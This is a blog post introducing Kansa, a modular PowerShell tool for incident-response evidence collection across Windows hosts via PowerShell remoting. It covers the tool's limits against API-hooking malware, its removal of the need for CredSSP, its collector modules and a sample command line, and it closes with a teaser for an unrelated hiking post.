A look at the Readme.md today says Kansa is a modular rewrite of another script in my Github repro called Mal-Seine. Mal-Seine was a Powershell script I hacked together for evidence collection during incident response.

Mal-Seine worked, but had issues. First, the 800 pound gorilla in the room. Andrew Case raises an excellent point about relying on Powershell for live response work:

https://twitter.com/attrc/status/444163636664082432

He's right. Users of live response tools relying on the Windows API must remain cognizant that adversaries may use malware to subvert the Windows API to prevent discovery. In plain English, when attackers compromise a computer, they can install malicious software that can lie about itself and its activities. A comprehensive incident response strategy must include other tools, some that get off the box entirely, a la network security monitoring, and some that subvert the Windows API themselves. Clicking the image above will take you to the Twitter thread on this subject.

My response to Case's absolutely correct claim, is two-fold.
  1. I've already mentioned, any investigator using tools on live systems that rely on the Windows API must keep in mind their tools may be lied to and therefore may provide incomplete or inaccurate information.
  2. As I replied to Case on Twitter, "not every threat actor is hooking" [the Windows API]. "If you can't find it with a first pass, go deep," meaning a tool like Mal-Seine can run relatively quickly across hosts and may not require you to push agent software to every node. If you don't find what you're looking for, you may need to push agents to each node and dig deeper.
To which the grugq smartly replied:

 
Based on this conversation, I sought data about the percentage of malware known to subvert the Windows API. The lack of response from the big players in the anti-malware community was disappointing. One anti-malware group engaged in the conversation and they couldn't provide numbers, but said that API hooking is a capability that generally runs in a small number of malware families and that based on the data I was collecting via Mal-Seine, it was unlikely that there would be very many families that could hide themselves completely.
 
That said, one is too many and in the cat-and-mouse-game that is information security, it's only a matter of time before every piece of malware has these capabilities. We absolutely need more tools in the defensive arsenal that are as advanced as the most advanced malware. Mal-Seine and its successor, Kansa, are not these advanced tools.
 
Potential Kansa users, I implore you to keep in mind this significant caveat. It's right there in the Readme.md.
 
Having said that, do I think it can still be a useful tool? Yes. If you're in a Windows 7 or later enterprise environment and your systems are configured for Powershell remoting, it can be a powerful way to collect data from hundreds, thousands, tens of thousands of systems in a relatively short amount of time.
 
Aside from this API subversion issue, which persists in Kansa, the issue with Mal-Seine was that it wasn't written to take advantage of Powershell's remoting capabilities, therefore it didn't scale well and more importantly, because it called binaries from a share and wrote its data to a share, it required CredSSP. What's the issue with CredSSP? From Microsoft's TechNet:
 
http://technet.microsoft.com/en-us/library/bb931352.aspx
 
The issue is highlighted. Because the script was calling binaries from a share, writing data to a share and being run remotely, it required the user's credentials be fully delegated to each system where it was running, so those remote systems could authenticate to the bin and data shares as that user. This unconstrained delegation meant that the user's credentials were exposed for harvesting by adversaries on every node where the script was run. That's bad. During IR we want to mitigate risk, not increase it. CredSSP was increasing risk.
 
Another short-coming of Mal-Seine was that it was monolithic. The logic for all the evidence to be collected from remote systems was contained in one file. If a user wanted to only collect a subset of the evidence or wanted to add new data for collection, they would have to modify the script.
 
When I set out to rewrite Mal-Seine, I had three goals in mind:
  1. It needed to obviate CredSSP.
  2. It needed to take full advantage of Powershell's remoting capability to make it more scalable.
  3. It needed to be modular.
I'm happy to say that with the help of folks like @jaredcatkinson,  @scripthappens, @JosephBialek and no small amount of hand-holding by @Lee_Holmes, items one and two from the list were brought to fruition.
 
For goal three, I turned to the grand-daddy of all modular forensics tools for inspiration, @keydet89's, RegRipper. As a result, Kansa is modular with the main script providing the following core functionality:
  • If the user doesn't supply their own list of remote systems, targets, Kansa will query Domain Controllers and build the list automatically
  • Error handling and transcription with errors written to a central file and transcription optional
  • Powershell remote job management -- invoking each module on target systems, in parallel, currently using Powershell's default of 32 systems at a time
  • Output management -- as the data comes in from each target, Kansa writes the output to a user specified folder, one file per target per module
  • A modules.conf file where users can specify which modules they want to run and in what order, lending support to the principal of collecting data in the order of volatility
There is more work to be done on the project and I'm actively maintaining a ToDo list on the Github site.
 
In addition to this core functionality, there are the modules, or collectors as I like to think of them. Today there are 18 collectors. For the most part, the collectors are stand-alone Powershell scripts, two current exceptions are Get-Autorunsc.ps1 and Get-Handle.ps1, which each require Sysinternals binaries, Autorunsc.exe and Handle.exe, respectively, to be in the $env:SystemRoot path of each target, which corresponds to the Windows ADMIN$ share, so if you want to use those two collectors, first push those binaries to the ADMIN$ shares of your targets. If your environment supports Windows Remoting, you can accomplish this with a foreach loop and Copy-Item; thousands of hosts in a relatively short order.
 
If you want to play around with Kansa, download the project, skim the code (the code is always the most accurate documentation, if not the most readable :b), ensure your target(s) support(s) Windows Remoting, covered elsewhere, Bing it. I recommend building a target list by putting the names of a couple test systems in a text file, below mine is called "hostlist", the -TargetCount argument is optional, my hostlist file contains dozens of systems, but I only want to run it on a couple.
 
Here's a sample command line:
 
.\kansa.ps1 -ModulePath .\Modules -OutputPath .\Output\ -TargetList .\hostlist -TargetCount 2 -Verbose
 
 In a future post, I'll cover more details about Kansa and its modules. The script enables data collection and data collection is easy compared to analysis. So, I've added an Analysis folder to the project and have provided some sample scripts therein. Most of these will require logparser. My goal is to automate analysis as much as possible. When dealing with data from many systems, automation is essential.
 
Thanks for reading, for trying out Kansa and for any feedback or contributions!

Grand Canyon Rim to Rim: New Gear and Best Intentions

I pulled my late 1980s backpack out of storage. My first thought was that it was heavier than I remembered, just over seven pounds empty. Ba...